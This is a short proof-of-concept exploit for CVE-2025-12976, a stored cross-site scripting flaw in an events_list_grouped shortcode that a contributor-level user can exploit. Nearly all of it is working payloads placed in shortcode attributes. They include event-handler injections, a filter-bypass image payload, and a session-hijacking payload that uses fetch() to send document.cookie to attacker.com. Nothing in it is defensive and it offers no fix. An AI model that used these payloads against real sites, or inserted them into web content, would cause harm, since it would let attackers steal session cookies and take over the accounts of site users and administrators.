CVE-2025-12976

<!-- PoC for CVE-2025-12976 Stored XSS via events_list_grouped shortcode --> <!-- Authenticated attacker with contributor-level access or higher --> <!-- Basic XSS injection via shortcode attribute --> [events_list_grouped limit='1" onmouseover="alert(document.cookie)" x="'] <!-- More sophisticated payload - session hijacking --> [events_list_grouped scope='future" onload="fetch(\'https://attacker.com/steal?c=\'+document.cookie)" x="'] <!-- Filter bypass payload --> [events_list_grouped category='test<img src=x onerror=alert(1)>'] <!-- Context-specific exploitation --> [events_list_grouped format='<li>{event_name}</li>' orderby='" autofocus onfocus="alert(document.domain)" x="']

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